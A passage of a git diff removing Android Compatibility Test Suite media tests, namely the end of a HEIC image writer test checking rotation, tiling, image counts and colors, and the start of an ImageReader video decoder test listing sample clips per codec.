-        TestConfig.Builder builder = new TestConfig.Builder(INPUT_MODE_BITMAP, true, false);
-        for (int i = 0; i < IMAGE_RESOURCES.length; ++i) {
-            String inputPath = new File(Environment.getExternalStorageDirectory(),
-                    IMAGE_FILENAMES[i]).getAbsolutePath();
-            doTestForVariousNumberImages(builder.setInputPath(inputPath));
-        }
-    }
-
-    public void testInputBitmap_NoGrid_Handler() throws Throwable {
-        TestConfig.Builder builder = new TestConfig.Builder(INPUT_MODE_BITMAP, false, true);
-        for (int i = 0; i < IMAGE_RESOURCES.length; ++i) {
-            String inputPath = new File(Environment.getExternalStorageDirectory(),
-                    IMAGE_FILENAMES[i]).getAbsolutePath();
-            doTestForVariousNumberImages(builder.setInputPath(inputPath));
-        }
-    }
-
-    public void testInputBitmap_Grid_Handler() throws Throwable {
-        TestConfig.Builder builder = new TestConfig.Builder(INPUT_MODE_BITMAP, true, true);
-        for (int i = 0; i < IMAGE_RESOURCES.length; ++i) {
-            String inputPath = new File(Environment.getExternalStorageDirectory(),
-                    IMAGE_FILENAMES[i]).getAbsolutePath();
-            doTestForVariousNumberImages(builder.setInputPath(inputPath));
-        }
-    }
-
-    /**
-     * This test is to ensure that if the device advertises support for {@link
-     * MediaFormat#MIMETYPE_IMAGE_ANDROID_HEIC} (which encodes full-frame image
-     * with tiling), it must also support {@link MediaFormat#MIMETYPE_VIDEO_HEVC}
-     * at a specific tile size (512x512) with bitrate control mode {@link
-     * MediaCodecInfo.EncoderCapabilities#BITRATE_MODE_CQ}, so that a fallback
-     * could be implemented for image resolutions that's not supported by the
-     * {@link MediaFormat#MIMETYPE_IMAGE_ANDROID_HEIC} encoder.
-     */
-    @CddTest(requirement="5.1.4/C-1-1")
-    public void testHeicFallbackAvailable() throws Throwable {
-        if (!MediaUtils.hasEncoder(MediaFormat.MIMETYPE_IMAGE_ANDROID_HEIC)) {
-            MediaUtils.skipTest("HEIC full-frame image encoder is not supported on this device");
-            return;
-        }
-
-        final MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-
-        boolean fallbackFound = false;
-        for (MediaCodecInfo info : mcl.getCodecInfos()) {
-            if (!info.isEncoder() || !info.isHardwareAccelerated()) {
-                continue;
-            }
-            MediaCodecInfo.CodecCapabilities caps = null;
-            try {
-                caps = info.getCapabilitiesForType(MediaFormat.MIMETYPE_VIDEO_HEVC);
-            } catch (IllegalArgumentException e) { // mime is not supported
-                continue;
-            }
-            if (caps.getVideoCapabilities().isSizeSupported(GRID_WIDTH, GRID_HEIGHT) &&
-                    caps.getEncoderCapabilities().isBitrateModeSupported(
-                            MediaCodecInfo.EncoderCapabilities.BITRATE_MODE_CQ)) {
-                fallbackFound = true;
-                Log.d(TAG, "found fallback on " + info.getName());
-                // not breaking here so that we can log what's available by running this test
-            }
-        }
-        assertTrue("HEIC full-frame image encoder without HEVC fallback", fallbackFound);
-    }
-
-    private static boolean canEncodeHeic() {
-        return MediaUtils.hasEncoder(MediaFormat.MIMETYPE_VIDEO_HEVC)
-            || MediaUtils.hasEncoder(MediaFormat.MIMETYPE_IMAGE_ANDROID_HEIC);
-    }
-
-    private void doTestForVariousNumberImages(TestConfig.Builder builder) throws Exception {
-        if (!canEncodeHeic()) {
-            MediaUtils.skipTest("heic encoding is not supported on this device");
-            return;
-        }
-
-        builder.setNumImages(4);
-        doTest(builder.setRotation(270).build());
-        doTest(builder.setRotation(180).build());
-        doTest(builder.setRotation(90).build());
-        doTest(builder.setRotation(0).build());
-        doTest(builder.setNumImages(1).build());
-        doTest(builder.setNumImages(8).build());
-    }
-
-    private void closeQuietly(Closeable closeable) {
-        if (closeable != null) {
-            try {
-                closeable.close();
-            } catch (RuntimeException rethrown) {
-                throw rethrown;
-            } catch (Exception ignored) {
-            }
-        }
-    }
-
-    private int copy(InputStream in, OutputStream out) throws IOException {
-        int total = 0;
-        byte[] buffer = new byte[8192];
-        int c;
-        while ((c = in.read(buffer)) != -1) {
-            total += c;
-            out.write(buffer, 0, c);
-        }
-        return total;
-    }
-
-    private static class TestConfig {
-        final int mInputMode;
-        final boolean mUseGrid;
-        final boolean mUseHandler;
-        final int mMaxNumImages;
-        final int mActualNumImages;
-        final int mWidth;
-        final int mHeight;
-        final int mRotation;
-        final int mQuality;
-        final String mInputPath;
-        final String mOutputPath;
-        final Bitmap[] mBitmaps;
-
-        TestConfig(int inputMode, boolean useGrid, boolean useHandler,
-                   int maxNumImages, int actualNumImages, int width, int height,
-                   int rotation, int quality,
-                   String inputPath, String outputPath, Bitmap[] bitmaps) {
-            mInputMode = inputMode;
-            mUseGrid = useGrid;
-            mUseHandler = useHandler;
-            mMaxNumImages = maxNumImages;
-            mActualNumImages = actualNumImages;
-            mWidth = width;
-            mHeight = height;
-            mRotation = rotation;
-            mQuality = quality;
-            mInputPath = inputPath;
-            mOutputPath = outputPath;
-            mBitmaps = bitmaps;
-        }
-
-        static class Builder {
-            final int mInputMode;
-            final boolean mUseGrid;
-            final boolean mUseHandler;
-            int mMaxNumImages;
-            int mNumImages;
-            int mWidth;
-            int mHeight;
-            int mRotation;
-            final int mQuality;
-            String mInputPath;
-            final String mOutputPath;
-            Bitmap[] mBitmaps;
-            boolean mNumImagesSetExplicitly;
-
-
-            Builder(int inputMode, boolean useGrids, boolean useHandler) {
-                mInputMode = inputMode;
-                mUseGrid = useGrids;
-                mUseHandler = useHandler;
-                mMaxNumImages = mNumImages = 4;
-                mWidth = 1920;
-                mHeight = 1080;
-                mRotation = 0;
-                mQuality = 100;
-                // use memfd by default
-                if (DUMP_OUTPUT || IS_BEFORE_R) {
-                    mOutputPath = new File(Environment.getExternalStorageDirectory(),
-                            OUTPUT_FILENAME).getAbsolutePath();
-                } else {
-                    mOutputPath = null;
-                }
-            }
-
-            Builder setInputPath(String inputPath) {
-                mInputPath = (mInputMode == INPUT_MODE_BITMAP) ? inputPath : null;
-                return this;
-            }
-
-            Builder setNumImages(int numImages) {
-                mNumImagesSetExplicitly = true;
-                mNumImages = numImages;
-                return this;
-            }
-
-            Builder setRotation(int rotation) {
-                mRotation = rotation;
-                return this;
-            }
-
-            private void loadBitmapInputs() {
-                if (mInputMode != INPUT_MODE_BITMAP) {
-                    return;
-                }
-                MediaMetadataRetriever retriever = new MediaMetadataRetriever();
-                retriever.setDataSource(mInputPath);
-                String hasImage = retriever.extractMetadata(
-                        MediaMetadataRetriever.METADATA_KEY_HAS_IMAGE);
-                if (!"yes".equals(hasImage)) {
-                    throw new IllegalArgumentException("no bitmap found!");
-                }
-                mMaxNumImages = Math.min(mMaxNumImages, Integer.parseInt(retriever.extractMetadata(
-                        MediaMetadataRetriever.METADATA_KEY_IMAGE_COUNT)));
-                if (!mNumImagesSetExplicitly) {
-                    mNumImages = mMaxNumImages;
-                }
-                mBitmaps = new Bitmap[mMaxNumImages];
-                for (int i = 0; i < mBitmaps.length; i++) {
-                    mBitmaps[i] = retriever.getImageAtIndex(i);
-                }
-                mWidth = mBitmaps[0].getWidth();
-                mHeight = mBitmaps[0].getHeight();
-                retriever.release();
-            }
-
-            private void cleanupStaleOutputs() {
-                if (mOutputPath != null) {
-                    File outputFile = new File(mOutputPath);
-                    if (outputFile.exists()) {
-                        outputFile.delete();
-                    }
-                }
-            }
-
-            TestConfig build() {
-                cleanupStaleOutputs();
-                loadBitmapInputs();
-
-                return new TestConfig(mInputMode, mUseGrid, mUseHandler, mMaxNumImages, mNumImages,
-                        mWidth, mHeight, mRotation, mQuality, mInputPath, mOutputPath, mBitmaps);
-            }
-        }
-
-        @Override
-        public String toString() {
-            return "TestConfig"
-                    + ": mInputMode " + mInputMode
-                    + ", mUseGrid " + mUseGrid
-                    + ", mUseHandler " + mUseHandler
-                    + ", mMaxNumImages " + mMaxNumImages
-                    + ", mNumImages " + mActualNumImages
-                    + ", mWidth " + mWidth
-                    + ", mHeight " + mHeight
-                    + ", mRotation " + mRotation
-                    + ", mQuality " + mQuality
-                    + ", mInputPath " + mInputPath
-                    + ", mOutputPath " + mOutputPath;
-        }
-    }
-
-    private void doTest(final TestConfig config) throws Exception {
-        final int width = config.mWidth;
-        final int height = config.mHeight;
-        final int actualNumImages = config.mActualNumImages;
-
-        mInputIndex = 0;
-        HeifWriter heifWriter = null;
-        FileInputStream inputYuvStream = null;
-        FileOutputStream outputYuvStream = null;
-        FileDescriptor outputFd = null;
-        RandomAccessFile outputFile = null;
-        try {
-            if (DEBUG) Log.d(TAG, "started: " + config);
-            if (config.mOutputPath != null) {
-                outputFile = new RandomAccessFile(config.mOutputPath, "rws");
-                outputFile.setLength(0);
-                outputFd = outputFile.getFD();
-            } else {
-                outputFd = Os.memfd_create("temp", OsConstants.MFD_CLOEXEC);
-            }
-
-            heifWriter = new HeifWriter.Builder(
-                    outputFd, width, height, config.mInputMode)
-                    .setRotation(config.mRotation)
-                    .setGridEnabled(config.mUseGrid)
-                    .setMaxImages(config.mMaxNumImages)
-                    .setQuality(config.mQuality)
-                    .setPrimaryIndex(config.mMaxNumImages - 1)
-                    .setHandler(config.mUseHandler ? mHandler : null)
-                    .build();
-
-            if (config.mInputMode == INPUT_MODE_SURFACE) {
-                mInputEglSurface = new InputSurface(heifWriter.getInputSurface());
-            }
-
-            heifWriter.start();
-
-            if (config.mInputMode == INPUT_MODE_BUFFER) {
-                byte[] data = new byte[width * height * 3 / 2];
-
-                if (config.mInputPath != null) {
-                    inputYuvStream = new FileInputStream(config.mInputPath);
-                }
-
-                if (DUMP_YUV_INPUT) {
-                    File outputYuvFile = new File("/sdcard/input.yuv");
-                    outputYuvFile.createNewFile();
-                    outputYuvStream = new FileOutputStream(outputYuvFile);
-                }
-
-                for (int i = 0; i < actualNumImages; i++) {
-                    if (DEBUG) Log.d(TAG, "fillYuvBuffer: " + i);
-                    fillYuvBuffer(i, data, width, height, inputYuvStream);
-                    if (DUMP_YUV_INPUT) {
-                        Log.d(TAG, "@@@ dumping input YUV");
-                        outputYuvStream.write(data);
-                    }
-                    heifWriter.addYuvBuffer(ImageFormat.YUV_420_888, data);
-                }
-            } else if (config.mInputMode == INPUT_MODE_SURFACE) {
-                // The input surface is a surface texture using single buffer mode, draws will be
-                // blocked until onFrameAvailable is done with the buffer, which is dependent on
-                // how fast MediaCodec processes them, which is further dependent on how fast the
-                // MediaCodec callbacks are handled. We can't put draws on the same looper that
-                // handles MediaCodec callback, it will cause deadlock.
-                for (int i = 0; i < actualNumImages; i++) {
-                    if (DEBUG) Log.d(TAG, "drawFrame: " + i);
-                    drawFrame(width, height);
-                }
-                heifWriter.setInputEndOfStreamTimestamp(
-                        1000 * computePresentationTime(actualNumImages - 1));
-            } else if (config.mInputMode == INPUT_MODE_BITMAP) {
-                Bitmap[] bitmaps = config.mBitmaps;
-                for (int i = 0; i < Math.min(bitmaps.length, actualNumImages); i++) {
-                    if (DEBUG) Log.d(TAG, "addBitmap: " + i);
-                    heifWriter.addBitmap(bitmaps[i]);
-                    bitmaps[i].recycle();
-                }
-            }
-
-            heifWriter.stop(5000);
-            // The test sets the primary index to the last image.
-            // However, if we're testing early abort, the last image will not be
-            // present and the muxer is supposed to set it to 0 by default.
-            int expectedPrimary = config.mMaxNumImages - 1;
-            int expectedImageCount = config.mMaxNumImages;
-            if (actualNumImages < config.mMaxNumImages) {
-                expectedPrimary = 0;
-                expectedImageCount = actualNumImages;
-            }
-            verifyResult(outputFd, width, height, config.mRotation,
-                    expectedImageCount, expectedPrimary, config.mUseGrid,
-                    config.mInputMode == INPUT_MODE_SURFACE);
-            if (DEBUG) Log.d(TAG, "finished: PASS");
-        } finally {
-            try {
-                if (outputYuvStream != null) {
-                    outputYuvStream.close();
-                }
-                if (inputYuvStream != null) {
-                    inputYuvStream.close();
-                }
-                if (outputFile != null) {
-                    outputFile.close();
-                }
-                if (outputFd != null) {
-                    Os.close(outputFd);
-                }
-            } catch (IOException|ErrnoException e) {}
-
-            if (heifWriter != null) {
-                heifWriter.close();
-                heifWriter = null;
-            }
-            if (mInputEglSurface != null) {
-                // This also releases the surface from encoder.
-                mInputEglSurface.release();
-                mInputEglSurface = null;
-            }
-        }
-    }
-
-    private long computePresentationTime(int frameIndex) {
-        return 132 + (long)frameIndex * 1000000;
-    }
-
-    private void fillYuvBuffer(int frameIndex, @NonNull byte[] data, int width, int height,
-                               @Nullable FileInputStream inputStream) throws IOException {
-        if (inputStream != null) {
-            inputStream.read(data);
-        } else {
-            byte[] color = TEST_YUV_COLORS[frameIndex % TEST_YUV_COLORS.length];
-            int sizeY = width * height;
-            Arrays.fill(data, 0, sizeY, color[0]);
-            Arrays.fill(data, sizeY, sizeY * 5 / 4, color[1]);
-            Arrays.fill(data, sizeY * 5 / 4, sizeY * 3 / 2, color[2]);
-        }
-    }
-
-    private void drawFrame(int width, int height) {
-        mInputEglSurface.makeCurrent();
-        generateSurfaceFrame(mInputIndex, width, height);
-        mInputEglSurface.setPresentationTime(1000 * computePresentationTime(mInputIndex));
-        mInputEglSurface.swapBuffers();
-        mInputIndex++;
-    }
-
-    private static Rect getColorBarRect(int index, int width, int height) {
-        int barWidth = (width - BORDER_WIDTH * 2) / COLOR_BARS.length;
-        return new Rect(BORDER_WIDTH + barWidth * index, BORDER_WIDTH,
-                BORDER_WIDTH + barWidth * (index + 1), height - BORDER_WIDTH);
-    }
-
-    private static Rect getColorBlockRect(int index, int width, int height) {
-        int blockCenterX = (width / 5) * (index % 4 + 1);
-        return new Rect(blockCenterX - width / 10, height / 6,
-                        blockCenterX + width / 10, height / 3);
-    }
-
-    private void generateSurfaceFrame(int frameIndex, int width, int height) {
-        GLES20.glViewport(0, 0, width, height);
-        GLES20.glDisable(GLES20.GL_SCISSOR_TEST);
-        GLES20.glClearColor(1.0f, 0.0f, 0.0f, 1.0f);
-        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
-        GLES20.glEnable(GLES20.GL_SCISSOR_TEST);
-
-        for (int i = 0; i < COLOR_BARS.length; i++) {
-            Rect r = getColorBarRect(i, width, height);
-
-            GLES20.glScissor(r.left, r.top, r.width(), r.height());
-            final Color color = COLOR_BARS[i];
-            GLES20.glClearColor(color.red(), color.green(), color.blue(), 1.0f);
-            GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
-        }
-
-        Rect r = getColorBlockRect(frameIndex, width, height);
-        GLES20.glScissor(r.left, r.top, r.width(), r.height());
-        GLES20.glClearColor(0.5f, 0.5f, 0.5f, 1.0f);
-        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
-        r.inset(BORDER_WIDTH, BORDER_WIDTH);
-        GLES20.glScissor(r.left, r.top, r.width(), r.height());
-        GLES20.glClearColor(COLOR_BLOCK.red(), COLOR_BLOCK.green(), COLOR_BLOCK.blue(), 1.0f);
-        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
-    }
-
-    /**
-     * Determines if two color values are approximately equal.
-     */
-    private static boolean approxEquals(Color expected, Color actual) {
-        final float MAX_DELTA = 0.025f;
-        return (Math.abs(expected.red() - actual.red()) <= MAX_DELTA)
-            && (Math.abs(expected.green() - actual.green()) <= MAX_DELTA)
-            && (Math.abs(expected.blue() - actual.blue()) <= MAX_DELTA);
-    }
-
-    private void verifyResult(
-            FileDescriptor fd, int width, int height, int rotation,
-            int imageCount, int primary, boolean useGrid, boolean checkColor)
-            throws Exception {
-        MediaMetadataRetriever retriever = new MediaMetadataRetriever();
-        retriever.setDataSource(fd);
-        String hasImage = retriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_HAS_IMAGE);
-        if (!"yes".equals(hasImage)) {
-            throw new Exception("No images found in file descriptor");
-        }
-        assertEquals("Wrong width", width,
-                Integer.parseInt(retriever.extractMetadata(
-                    MediaMetadataRetriever.METADATA_KEY_IMAGE_WIDTH)));
-        assertEquals("Wrong height", height,
-                Integer.parseInt(retriever.extractMetadata(
-                    MediaMetadataRetriever.METADATA_KEY_IMAGE_HEIGHT)));
-        assertEquals("Wrong rotation", rotation,
-                Integer.parseInt(retriever.extractMetadata(
-                    MediaMetadataRetriever.METADATA_KEY_IMAGE_ROTATION)));
-        assertEquals("Wrong image count", imageCount,
-                Integer.parseInt(retriever.extractMetadata(
-                        MediaMetadataRetriever.METADATA_KEY_IMAGE_COUNT)));
-        assertEquals("Wrong primary index", primary,
-                Integer.parseInt(retriever.extractMetadata(
-                        MediaMetadataRetriever.METADATA_KEY_IMAGE_PRIMARY)));
-        retriever.release();
-
-        if (useGrid) {
-            MediaExtractor extractor = new MediaExtractor();
-            extractor.setDataSource(fd);
-            MediaFormat format = extractor.getTrackFormat(0);
-            int tileWidth = format.getInteger(MediaFormat.KEY_TILE_WIDTH);
-            int tileHeight = format.getInteger(MediaFormat.KEY_TILE_HEIGHT);
-            int gridRows = format.getInteger(MediaFormat.KEY_GRID_ROWS);
-            int gridCols = format.getInteger(MediaFormat.KEY_GRID_COLUMNS);
-            assertTrue("Wrong tile width or grid cols",
-                    ((width + tileWidth - 1) / tileWidth) == gridCols);
-            assertTrue("Wrong tile height or grid rows",
-                    ((height + tileHeight - 1) / tileHeight) == gridRows);
-            extractor.release();
-        }
-
-        if (checkColor) {
-            Os.lseek(fd, 0, OsConstants.SEEK_SET);
-            Bitmap bitmap = BitmapFactory.decodeFileDescriptor(fd);
-
-            for (int i = 0; i < COLOR_BARS.length; i++) {
-                Rect r = getColorBarRect(i, width, height);
-                assertTrue("Color bar " + i + " doesn't match", approxEquals(COLOR_BARS[i],
-                        Color.valueOf(bitmap.getPixel(r.centerX(), r.centerY()))));
-            }
-
-            Rect r = getColorBlockRect(primary, width, height);
-            assertTrue("Color block doesn't match", approxEquals(COLOR_BLOCK,
-                    Color.valueOf(bitmap.getPixel(r.centerX(), height - r.centerY()))));
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/ImageReaderDecoderTest.java b/tests/tests/media/src/android/media/cts/ImageReaderDecoderTest.java
deleted file mode 100644
index 713e24e..0000000
--- a/tests/tests/media/src/android/media/cts/ImageReaderDecoderTest.java
+++ /dev/null
@@ -1,892 +0,0 @@
-/*
- * Copyright 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible;
-
-import android.content.Context;
-import android.content.res.AssetFileDescriptor;
-import android.content.res.Resources.NotFoundException;
-import android.graphics.ImageFormat;
-import android.graphics.Rect;
-import android.media.Image;
-import android.media.Image.Plane;
-import android.media.ImageReader;
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaCodecInfo.VideoCapabilities;
-import android.media.MediaCodecList;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.media.cts.CodecUtils;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.ParcelFileDescriptor;
-import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.Presubmit;
-import android.platform.test.annotations.RequiresDevice;
-import android.test.AndroidTestCase;
-import android.util.Log;
-import android.view.Surface;
-
-import androidx.test.filters.FlakyTest;
-import androidx.test.filters.SmallTest;
-
-import com.android.compatibility.common.util.MediaUtils;
-
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileNotFoundException;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.nio.ByteBuffer;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Basic test for ImageReader APIs.
- * <p>
- * It uses MediaCodec to decode a short video stream, send the video frames to
- * the surface provided by ImageReader. Then compare if output buffers of the
- * ImageReader matches the output buffers of the MediaCodec. The video format
- * used here is AVC although the compression format doesn't matter for this
- * test. For decoder test, hw and sw decoders are tested,
- * </p>
- */
-@Presubmit
-@SmallTest
-@RequiresDevice
-@AppModeFull(reason = "Instant apps cannot access the SD card")
-public class ImageReaderDecoderTest extends AndroidTestCase {
-    private static final String TAG = "ImageReaderDecoderTest";
-    private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
-    private static final boolean DEBUG = Log.isLoggable(TAG, Log.DEBUG);
-    private static final long DEFAULT_TIMEOUT_US = 10000;
-    private static final long WAIT_FOR_IMAGE_TIMEOUT_MS = 1000;
-    private static final String DEBUG_FILE_NAME_BASE = "/sdcard/";
-    private static final int NUM_FRAME_DECODED = 100;
-    // video decoders only support a single outstanding image with the consumer
-    private static final int MAX_NUM_IMAGES = 1;
-    private static final float COLOR_STDEV_ALLOWANCE = 5f;
-    private static final float COLOR_DELTA_ALLOWANCE = 5f;
-
-    private final static int MODE_IMAGEREADER = 0;
-    private final static int MODE_IMAGE       = 1;
-
-    private MediaCodec.BufferInfo mBufferInfo = new MediaCodec.BufferInfo();
-    private ImageReader mReader;
-    private Surface mReaderSurface;
-    private HandlerThread mHandlerThread;
-    private Handler mHandler;
-    private ImageListener mImageListener;
-
-    @Override
-    public void setContext(Context context) {
-        super.setContext(context);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mHandlerThread = new HandlerThread(TAG);
-        mHandlerThread.start();
-        mHandler = new Handler(mHandlerThread.getLooper());
-        mImageListener = new ImageListener();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        mHandlerThread.quitSafely();
-        mHandler = null;
-    }
-
-    static class MediaAsset {
-        public MediaAsset(String resource, int width, int height) {
-            mResource = resource;
-            mWidth = width;
-            mHeight = height;
-        }
-
-        public int getWidth() {
-            return mWidth;
-        }
-
-        public int getHeight() {
-            return mHeight;
-        }
-
-        public String getResource() {
-            return mResource;
-        }
-
-        private final String mResource;
-        private final int mWidth;
-        private final int mHeight;
-    }
-
-    static class MediaAssets {
-        public MediaAssets(String mime, MediaAsset... assets) {
-            mMime = mime;
-            mAssets = assets;
-        }
-
-        public String getMime() {
-            return mMime;
-        }
-
-        public MediaAsset[] getAssets() {
-            return mAssets;
-        }
-
-        private final String mMime;
-        private final MediaAsset[] mAssets;
-    }
-
-    static final String mInpPrefix = WorkDir.getMediaDirString();
-    protected AssetFileDescriptor getAssetFileDescriptorFor(final String res)
-            throws FileNotFoundException {
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        File inpFile = new File(mInpPrefix + res);
-        ParcelFileDescriptor parcelFD =
-                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
-        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
-    }
-
-    private static MediaAssets H263_ASSETS = new MediaAssets(
-            MediaFormat.MIMETYPE_VIDEO_H263,
-            new MediaAsset("swirl_176x144_h263.3gp", 176, 144),
-            new MediaAsset("swirl_352x288_h263.3gp", 352, 288),
-            new MediaAsset("swirl_128x96_h263.3gp", 128, 96));
-
-    private static MediaAssets MPEG4_ASSETS = new MediaAssets(
-            MediaFormat.MIMETYPE_VIDEO_MPEG4,
-            new MediaAsset("swirl_128x128_mpeg4.mp4", 128, 128),
-            new MediaAsset("swirl_144x136_mpeg4.mp4", 144, 136),
-            new MediaAsset("swirl_136x144_mpeg4.mp4", 136, 144),
-            new MediaAsset("swirl_132x130_mpeg4.mp4", 132, 130),
-            new MediaAsset("swirl_130x132_mpeg4.mp4", 130, 132));
-
-    private static MediaAssets H264_ASSETS = new MediaAssets(
-            MediaFormat.MIMETYPE_VIDEO_AVC,
-            new MediaAsset("swirl_128x128_h264.mp4", 128, 128),
-            new MediaAsset("swirl_144x136_h264.mp4", 144, 136),
-            new MediaAsset("swirl_136x144_h264.mp4", 136, 144),
-            new MediaAsset("swirl_132x130_h264.mp4", 132, 130),
-            new MediaAsset("swirl_130x132_h264.mp4", 130, 132));
-
-    private static MediaAssets H265_ASSETS = new MediaAssets(
-            MediaFormat.MIMETYPE_VIDEO_HEVC,
-            new MediaAsset("swirl_128x128_h265.mp4", 128, 128),
-            new MediaAsset("swirl_144x136_h265.mp4", 144, 136),
-            new MediaAsset("swirl_136x144_h265.mp4", 136, 144),
-            new MediaAsset("swirl_132x130_h265.mp4", 132, 130),
-            new MediaAsset("swirl_130x132_h265.mp4", 130, 132));
-
-    private static MediaAssets VP8_ASSETS = new MediaAssets(
-            MediaFormat.MIMETYPE_VIDEO_VP8,
-            new MediaAsset("swirl_128x128_vp8.webm", 128, 128),
-            new MediaAsset("swirl_144x136_vp8.webm", 144, 136),
-            new MediaAsset("swirl_136x144_vp8.webm", 136, 144),
-            new MediaAsset("swirl_132x130_vp8.webm", 132, 130),
-            new MediaAsset("swirl_130x132_vp8.webm", 130, 132));
-
-    private static MediaAssets VP9_ASSETS = new MediaAssets(
-            MediaFormat.MIMETYPE_VIDEO_VP9,
-            new MediaAsset("swirl_128x128_vp9.webm", 128, 128),
-            new MediaAsset("swirl_144x136_vp9.webm", 144, 136),
-            new MediaAsset("swirl_136x144_vp9.webm", 136, 144),
-            new MediaAsset("swirl_132x130_vp9.webm", 132, 130),
-            new MediaAsset("swirl_130x132_vp9.webm", 130, 132));
-
-    static final float SWIRL_FPS = 12.f;
-
-    class Decoder {
-        final private String mName;
-        final private String mMime;
-        final private VideoCapabilities mCaps;
-        final private ArrayList<MediaAsset> mAssets;
-
-        boolean isFlexibleFormatSupported(CodecCapabilities caps) {
-            for (int c : caps.colorFormats) {
-                if (c == COLOR_FormatYUV420Flexible) {
-                    return true;
-                }
-            }
-            return false;
-        }
-
-        Decoder(String name, MediaAssets assets, CodecCapabilities caps) {
-            mName = name;
-            mMime = assets.getMime();
-            mCaps = caps.getVideoCapabilities();
-            mAssets = new ArrayList<MediaAsset>();
-
-            for (MediaAsset asset : assets.getAssets()) {
-                if (mCaps.areSizeAndRateSupported(asset.getWidth(), asset.getHeight(), SWIRL_FPS)
-                        && isFlexibleFormatSupported(caps)) {
-                    mAssets.add(asset);
-                }
-            }
-        }
-
-        public boolean videoDecode(int mode, boolean checkSwirl) {
-            boolean skipped = true;
-            for (MediaAsset asset: mAssets) {
-                // TODO: loop over all supported image formats
-                int imageFormat = ImageFormat.YUV_420_888;
-                int colorFormat = COLOR_FormatYUV420Flexible;
-                videoDecode(asset, imageFormat, colorFormat, mode, checkSwirl);
-                skipped = false;
-            }
-            return skipped;
-        }
-
-        private void videoDecode(
-                MediaAsset asset, int imageFormat, int colorFormat, int mode, boolean checkSwirl) {
-            String video = asset.getResource();
-            int width = asset.getWidth();
-            int height = asset.getHeight();
-
-            if (DEBUG) Log.d(TAG, "videoDecode " + mName + " " + width + "x" + height);
-
-            MediaCodec decoder = null;
-            AssetFileDescriptor vidFD = null;
-
-            MediaExtractor extractor = null;
-            File tmpFile = null;
-            InputStream is = null;
-            FileOutputStream os = null;
-            MediaFormat mediaFormat = null;
-            try {
-                extractor = new MediaExtractor();
-
-                try {
-                    vidFD = getAssetFileDescriptorFor(video);
-                    extractor.setDataSource(
-                            vidFD.getFileDescriptor(), vidFD.getStartOffset(), vidFD.getLength());
-                } catch (NotFoundException e) {
-                    // resource is compressed, uncompress locally
-                    String tmpName = "tempStream";
-                    tmpFile = File.createTempFile(tmpName, null, mContext.getCacheDir());
-                    is = new FileInputStream(mInpPrefix + video);
-                    os = new FileOutputStream(tmpFile);
-                    byte[] buf = new byte[1024];
-                    int len;
-                    while ((len = is.read(buf, 0, buf.length)) > 0) {
-                        os.write(buf, 0, len);
-                    }
-                    os.close();
-                    is.close();
-
-                    extractor.setDataSource(tmpFile.getAbsolutePath());
-                }
-
-                mediaFormat = extractor.getTrackFormat(0);
-                mediaFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT, colorFormat);
-
-                // Create decoder
-                decoder = MediaCodec.createByCodecName(mName);
-                assertNotNull("couldn't create decoder" + mName, decoder);
-
-                decodeFramesToImage(
-                        decoder, extractor, mediaFormat,
-                        width, height, imageFormat, mode, checkSwirl);
-
-                decoder.stop();
-                if (vidFD != null) {
-                    vidFD.close();
-                }
-            } catch (Throwable e) {
-                throw new RuntimeException(
-                        "while " + mName + " decoding " + video + ": " + mediaFormat, e);
-            } finally {
-                if (decoder != null) {
-                    decoder.release();
-                }
-                if (extractor != null) {
-                    extractor.release();
-                }
-                if (tmpFile != null) {
-                    tmpFile.delete();
-                }
-            }
-        }
-    }
-
-    private Decoder[] decoders(MediaAssets assets, boolean goog) {
-        String mime = assets.getMime();
-        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-        ArrayList<Decoder> result = new ArrayList<Decoder>();
-
-        for (MediaCodecInfo info : mcl.getCodecInfos()) {
-            if (info.isEncoder() || info.isAlias() || !info.isVendor() != goog) {
-                continue;
-            }
-            CodecCapabilities caps = null;
-            try {
-                caps = info.getCapabilitiesForType(mime);
-            } catch (IllegalArgumentException e) { // mime is not supported
-                continue;
-            }
-            assertNotNull(info.getName() + " capabilties for " + mime + " returned null", caps);
-            result.add(new Decoder(info.getName(), assets, caps));
-        }
-        return result.toArray(new Decoder[result.size()]);
-    }
-
-    private Decoder[] goog(MediaAssets assets) {
-        return decoders(assets, true /* goog */);
-    }
-
-    private Decoder[] other(MediaAssets assets) {
-        return decoders(assets, false /* goog */);
-    }
-
-    private Decoder[] googH265()  { return goog(H265_ASSETS); }
-    private Decoder[] googH264()  { return goog(H264_ASSETS); }
-    private Decoder[] googH263()  { return goog(H263_ASSETS); }
